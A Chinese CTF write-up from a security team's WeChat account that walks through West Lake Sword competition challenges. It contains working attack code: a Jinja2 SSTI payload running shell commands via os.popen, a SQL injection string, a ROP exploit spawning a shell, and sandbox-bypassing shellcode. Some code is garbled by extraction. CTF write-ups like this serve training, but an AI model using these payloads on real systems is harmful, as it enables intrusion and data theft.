WEB
Rank-l
首先打开题目
这里有文本框我们尝试使用fengjin来跑一下,不行那我们只能开始手注了,但是他这里有两个界面就是输入email和输入password的页面
这里的[email protected]就是我们前面输入的邮箱猜测这里应该是{}或者是f”{}”这种的解析,尝试使用我收藏的payload来进行测试,
当用到这个payload的时候debug的的提示是是和上面的不一样的猜测可能是这里使用的payload没有关键字被过滤掉
这里如果错误的话是有debug提示的
这里的debug调出的话是当我们进行password输入之后然后提示的这里的意思是我们有有个参数被 传递的命令类型不正确,或者是但是传入了一个类型为 jinja2.runtime.Undefined 的对象。这通常是因为 Jinja2 模板渲染时某个变量没有被正确赋值,导致该变量在模板中被处理为未定义(undefined)。
总结一下就是
错误的根本原因是 Jinja2 模板渲染时,某个变量没有正确赋值,导致该变量被传递给 os.popen 时类型不正确。检查模板传递的变量,确保它们都有正确的值
但是
这里我以及传入给他了很奇怪,我们这里只能猜测后端的代码了,会不会这个是和前面的联动的就是我测试了很久这里输入email这里是没有回显的,等到输入到password之后才会有回显也就是我猜测的{}或者是{{}},那么就是有有可能是执行之后在执行
可能后端的代码是这样的
F“{abc}The number does not exist or the password is incorrect!”
然后我们传入payload之后就是
F“{{lipsum.__globals__.os.popen(request.form['shell']).read()}}The number does not exist or the password is incorrect!”
因为这里我们还有一个参数是没有进行传参的就是没有参数所以会报错可能到最后的时候是然后我给password的这个页面进行传参也就是 /cpass这个路由下面进行shell的传参最后我们得到的就是
F“{{lipsum.__globals__.os.popen(request.form['shell']).read()}}The number does not exist or the password is incorrect!” POST:shell=ls
接收参数之后
F“{{lipsum.__globals__.os.popen(‘ls’).read()}}The number does not exist or the password is incorrect!”
就可能造成ssti的漏洞解析了
我们尝试一下
Nice成功命令执行了,不在当前目录下那就看看/目录
直接nl /f*
DASCTF{8838935015183686746354570495267}
sqli or not
这里给了源码附件,我们先代码审计一下
这里过滤的都是符号之类的,
在 SQL 查询构建过程中,用户输入的 username 和 password 是通过直接拼接到 SQL 语句中的,就可能造成sql注入的漏洞的发生,
这里是代码的关键部分,在网上搜了一下找到了这篇文章,是这道题的关键点replace的特性
String.prototype.replace() - JavaScript | MDN然后结合下面的两篇文章
MyBatis中使用REGEXP遇到的字符串转义`|`错误_mybatis regexp-CSDN博客
RegExp.leftContext ($`) - JavaScript | MDN
const str = "Hello, my name is John Doe.";
const regex = /my name/;
const result = str.replace(regex, function(match) {
return"*****" + $'; // 插入'my name'后面的部分
});
console.log(result);
我们利用$`
payload
/?info={"username":"$` or 1%23"%2c"password":"1"}
flag
Re
逆向也是有了黑盒测试,我们经过爆破发现flag长度是96
from pwn import *
payload = "a"
whileTrue:
io = remote("139.155.126.78",)
io.recvuntil("Welcome to dance:")
io.sendline(payload)
wrong = io.recvline()
ifb"Wrong length"in wrong:
payload += "a"
else:
print("len is:",len(payload))
break
print(wrong)
输入满96个数据会回显密文
这边尝试输入96个0x255过去发现没有变化
猜测只是进行了bit位的交换
编写脚本进行爆破
from pwn import *
def get_io():
io = remote("139.155.126.78", 15419)
return io
positions = []
def run():
for x in range(96):
for y in range(7, -1, -1):
payload = bytearray(b'xff' * 96)
if payload[x] & (1 << y):
payload[x] ^= (1 << y)
io = get_io()
io.sendline(payload)
io.recvuntil("Start from 0")
result = io.recvuntil("with").replace(b"Checking with", b"").strip().split(b"n")[-1][30:-4].decode()
result = "2" + result
try:
result = result.index("0")
positions.append(result)
except ValueError:
positions.append(0)
run()
cipher = "000011000110000101001000001110100000000101000100110100101000110111001010000010111011100000000010101100011100010110001000011001000110011101101001001001100110100100010001110001110100011100011111110111001011011100001110000110100101000011000011010101110000110101110101101011110000000101011000000101001010001000001010111111111100100010001100000001011101100101000000111101101010001100010110001000010101101100111101111111110101100111000010111110110101010010000011100000011011010010001110011010100101000000011100000010001010010110111000111001000100110101000001101000110001001000000000111100001100100000001010100101101010101001111001010010001111000101011011001001001101000010011101011101011011011110101000110110101000011001000100001101110000101110110000010001000010010001001100"
message = ""
for pos in positions:
message += cipher[pos]
for z in range(0, len(message), 8):
print(chr(int(message[z:z + 8], 2)), end="")
pwn
pwn01
首先IDA静态分析
from pwn import *
from LibcSearcher import *
from ctypes import *
import pwnlib
import time
import ctypes
context.arch='amd64'
p = process('./Vpwn')
context.log_level = 'debug'
#elf=ELF('./pwn')
#libc =ELF('./libc.so.6')
#libc = ctypes.CDLL('libc.so.6')
one = [0x45206,0x4525a,0xcc673,0xcc748,0xefa00,0xf0897,0xf5e40,0xef9f4] #2.23(64)
#one = [0x3ac3c,0x3ac3e,0x3ac42,0x3ac49,0x3ac6c,0x3ac6d,0x5faa5,0x5faa6] #2.23(32)
#one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a38c,0x10a398] #2.27(64)
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x, drop=True)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()
li = lambda x: log.info(x)
db = lambda: gdb.attach()
l64 = lambda: u64(p.recvuntil('x7f')[-6:].ljust(8,b"x00"))
l32 = lambda: u32(p.recvuntil('xf7')[-4:].ljust(4,b"x00"))
tob = lambda text: str(text).encode('utf-8')
def get_addr(mode = 0):
if mode == 0:
return u64(p.recvuntil('x7f',drop=False)[-6:].ljust(8, b'x00'))
elif mode == 1:
return u64(p.recv(6).ljust(8, b'x00'))
elif mode == 2:
return int(p.recv(12), 16)
elif mode == 3:
return int(p.recv(16), 16)
elif mode == 4:
return int(p.split(b'0x')[1],16)
else :
return0
def edit(idx,Content=b'1'):
sla(b'Enter your choice: ', b'1')
p.recvuntil(b'edit')
p.sendline(bytes(str(idx),'utf-8'))
p.recvuntil(b'value')
p.sendline(bytes(str(Content),'utf-8'))
def push(content):
sla(b'Enter your choice: ', b'2')
sla(b'Enter the value to push: ', str(content).encode())
def pop():
sla(b'Enter your choice: ', b'3')
def printf():
sla(b'Enter your choice: ', b'4')
def exit():
sla(b'Enter your choice: ', b'5')
def addr(data,half):
if(half==0):
tmp=data&0xffffffff
else:tmp=(data>>32)&0xffffffff
if(tmp>0x7FFFFFFF):tmp-= 2**32
return tmp
##------------------------------
def lotadd(s,e):
for i in range(s,e):
add(128,b'1')
def lotfree(s,e):
for i in range(s,e):
free(i)
##------------------------------
gdb.attach(p,"b *$rebase(0x1468)")
push(1)
push(1)
push(1)
push(1)
push(1)
push(1)
push(888)
printf()
line = p.recvline().decode('utf-8').strip()
print(f"Received line: {line}")
if'StackVector contents: 'in line:
data = line.split('StackVector contents: ')[1].split()
print(f"Split data: {data}")
else:
print("Error: 'StackVector contents: ' not found in the received line")
int32_data = [int(x) & 0xfffffffffor x indata]
# 打印转换后的 32 位整数
print(f"32-bit integers: {int32_data}")
high_32_bits = int32_data[19] << 32
low_32_bits = int32_data[18]
combined_64_bits = high_32_bits | low_32_bits
print(f"Combined 64-bit integer: 0x{combined_64_bits:x}")
libc_base = combined_64_bits-0x29d90
print("libc_base===>",hex(libc_base))
system=libc_base+0x50d70
str_bin_sh=libc_base+0x1d8678
pop_rdi=libc_base+0x2a3e5
ret = pop_rdi + 1
rop_index=18
edit(rop_index,addr(pop_rdi+1,0))
edit(rop_index+1,addr(pop_rdi+1,1))
edit(rop_index+2,addr(pop_rdi,0))
edit(rop_index+3,addr(pop_rdi,1))
edit(rop_index+4,addr(str_bin_sh,0))
edit(rop_index+5,addr(str_bin_sh,1))
edit(rop_index+6,addr(system,0))
edit(rop_index+7,addr(system,1))
exit()
ia()
pwn03
开启一个线程向0x10000地址处写入内容,接下来的函数会对我们的内容进行检查:
遍历内容,找到值为15的地址,如果后面紧跟的是数据5则会进行计数。
而15 5 可以写为 0f 05 对应的是syscall的机器码。
这个程序也就是记录syscall出现的次数。而当次数大于2时会结束程序。否则开启沙箱,并且将我们输入的内容当做代码执行。
然后我们看一下沙箱检测,还是采用orw的模式读取文件内容,而我们不能使用read,但程序允许使用mmap,我们可以使用mmap调用进行读取文件。
在写shellcode时,我们共计需要3次syscall,因此我们需要伪造一个syscall。
我们最后一个syscall可以采用RIP寄存器进行修改, 先将最后一个syscall的位置写成 11 05 然后在这之前加上mov byte ptr [rip],0x0f 进行单字节修改,在shellcode执行时会将11改成0f ,形成最后一个syscall
from pwn import *
elf = ELF('/home/kano/Desktop/xihu/pwn2/pwn')
context(arch=elf.arch , os=elf.os)
context(log_level='debug')
p =remote('139.155.126.78',32536)
shellcode =asm('''
xor rdi, rdi
sub rdi, 100
mov rax, 0x67616c662f2e
push rax
mov rsi, rsp
xor r10, r10
xor edx, edx
push SYS_openat
pop rax
syscall
push 0
mov r10, 0x50
mov rsi, rax
xor rdi, rdi
mov rdx, rsp
push SYS_sendfile
pop rax
syscall''')
p.send(shellcode)
p.interactive()
MISC
糟糕的磁盘
附件全是img很明显是镜像文件,取证题。拿取证大师做
发现了secret文件和key.png。用VC容器去挂载,key就是key.png
DASCTF{R41D_4ND_D15K_M4573R}
IOT
Blink
用Strings看到可疑字符串
Sharkp
在导出http对象里面发现了一个elfdump下来分析
msf-shikata_ga_nai编码分析与C2配置信息提取 | Alex's blog~
msf-shikata_ga_nai编码分析与C2配置信息提取 | Alex's blog~
前两天正好学了这个,所以对这个相当熟悉
这个就是ip
0x73,0xc3,0x58,0xa1
115.195.88.161
然后就是rce的接口在流量里面可以找到
setSystemAdmin
所以flag是setSystemAdmin_115.195.88.161
DS
Easyrawencode
内存取证之后就是密码
Win7sp1x64
发现了rsa目录,我们过滤rsa目录看看下面有什么
可以看到的是有个私钥文件和加密的zip还有个脚本dump下来看看
历史记录里面可以看见一个加密过程
从环境变量获取key然后加载私钥读取名为data.csv然后加密成encrypted_data.bin,我们现在需要获取key
4etz0hHbU3TgKqduFL
在根据命令历史记录去获取tag和Nonce
这里对key进行了加密,我们需要解密才能获取到真正解密的key
解密aeskey
import os
import hashlib
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.PublicKey import RSA
from binascii import unhexlify
private_key = RSA.import_key(open(r'C:Users14715Desktoprsaprivate.pem', 'r').read())
AESkey = unhexlify('20d96098010eb9b326be6c46e1ce1ca679e29f1d65dec055cf8c46c6436c3356af2dc312b2d35466308b9fff0dd427b44a37e34fca12992e45db2ddd81884bd8eb5bccd3c595e8a9a352bd61322e1d52329d6c8638bbfce65edffbc4d3a5759e88c0f90e31ce518837552a3a09d8e7e3c374f3857bfe501cce2066fb233ff1f5faac18d73c3b665a54e8c55574f16bf4678c5ce835d2a14a65f8c1cec012435a8c06314cbe727a3a9b6060dfd6cdb850073423841178f6f409bb7ce8d4863c6f58855954d34af3d2964c488c9057c8c5072a54e43f1f8039d32409eb1ff3abca41c0b302788c4c56c1a4be4506ff5b8aff0242e21c0ee7ffee2da20ed9434334')
rsa = PKCS1_OAEP.new(private_key) #公钥加密用私钥解
aes_key = rsa.decrypt(AESkey)
print(aes_key.hex())
在编写解密encrypt-data.zip脚本
from Crypto.Cipher import AES
from binascii import unhexlify
aesKey = unhexlify("f2919059790bfe116c6817f8a448c45d2916c484a809ef2d6b04719d51d50061")
nonce = unhexlify("d919c229aab6535efa09a52c589c8f47")
tag = unhexlify("5b204675b1b173c32c04b0b8a100ee29")
aes = AES.new(aesKey,AES.MODE_EAX,nonce=nonce)
enc = open("C:/Users/14715/Desktop/encrypt.bin","rb").read()
text = aes.decrypt_and_verify(enc,tag)
withopen("flag.txt","wb")as f:
f.write(text)
import base64
from Crypto.Cipher import ARC4
enc = open(r"C:/Users/14715/Desktop/user.txt","r",encoding="UTF8").read()
enc = enc.split("n")
del enc[-1]
for i in enc:
userinfo = i.split(",")
encflag = base64.b64decode(userinfo[-1])
key = userinfo[2].encode()
print(ARC4.new(key).decrypt(encflag))
Easydata
需要删除前面两个字符解密
后面文件头是jpg的16进制数据,然后还原jpg
这里是压缩包,还原压缩包
通过盲水印解密jpg获得 zip解压密码为密码dataPersonPass123987
注:ZeroPointZero安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
ZeroPointZero安全团队纳新群1:553624735
有兴趣的师傅欢迎一起来讨论!
团队纳新简历投递邮箱:[email protected]
原文始发于微信公众号(ZeroPointZero安全团队):西湖论剑WriteUp
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论